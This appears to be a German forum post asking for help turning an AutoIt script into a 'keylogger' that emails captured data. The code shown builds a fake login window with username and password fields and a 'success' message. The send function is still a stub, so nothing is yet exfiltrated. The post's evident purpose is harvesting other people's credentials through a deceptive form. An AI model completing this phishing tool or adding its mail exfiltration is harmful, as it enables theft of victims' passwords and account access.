hai ich möchte gerne so ein "keylogger" scripten.
aber ich check das mit der email net .
allso wiie es an die mail geschickt wird.
was ist falsch ?
aber ich check das mit der email net .
allso wiie es an die mail geschickt wird.
Code:
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
FileInstall("bild.jpg",@TempDir & "bild.jpg")
#Region ### START Koda GUI section ### Form=
$ByVadim = GUICreate("By Vadim", 580, 267, 212, 128)
$Pic1 = GUICtrlCreatePic(@TempDir & "bild.jpg", 0, 0, 577, 265)
$Label1 = GUICtrlCreateLabel("Login", 256, 32, 40, 20)
GUICtrlSetFont(-1, 10, 800, 0, "System")
$Input1 = GUICtrlCreateInput("", 232, 160, 89, 21)
$Input2 = GUICtrlCreateInput("", 232, 72, 89, 21)
$Label2 = GUICtrlCreateLabel("PW", 264, 120, 27, 20)
GUICtrlSetFont(-1, 10, 800, 0, "System")
$Start = GUICtrlCreateButton("Start", 232, 200, 89, 57)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Label3 = GUICtrlCreateLabel("© Copyright", 488, 232, 80, 20)
GUICtrlSetFont(-1, 10, 800, 0, "System")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Start
$result = check()
If $result = 0 Then
Else
senddata()
EndIf
EndSwitch
WEnd
Func senddata()
Sleep(4000)
MsgBox(0,"Good Job","Erfolgreich eiggeloggt " & GUICtrlRead($input1) & " Good JOB!")
Exit
EndFunc ;===> senddata
Func check()
If GUICtrlRead($Input1) = "" Then
MsgBox(0, "Falsch", "fülle alle felder aus!")
Return 0
ElseIf GUICtrlRead($Input2) = "" Then
MsgBox(0, "Falsch", "fülle alle felder aus!")
Return 0
Else
Return 1
EndIf
EndFunc ;==> check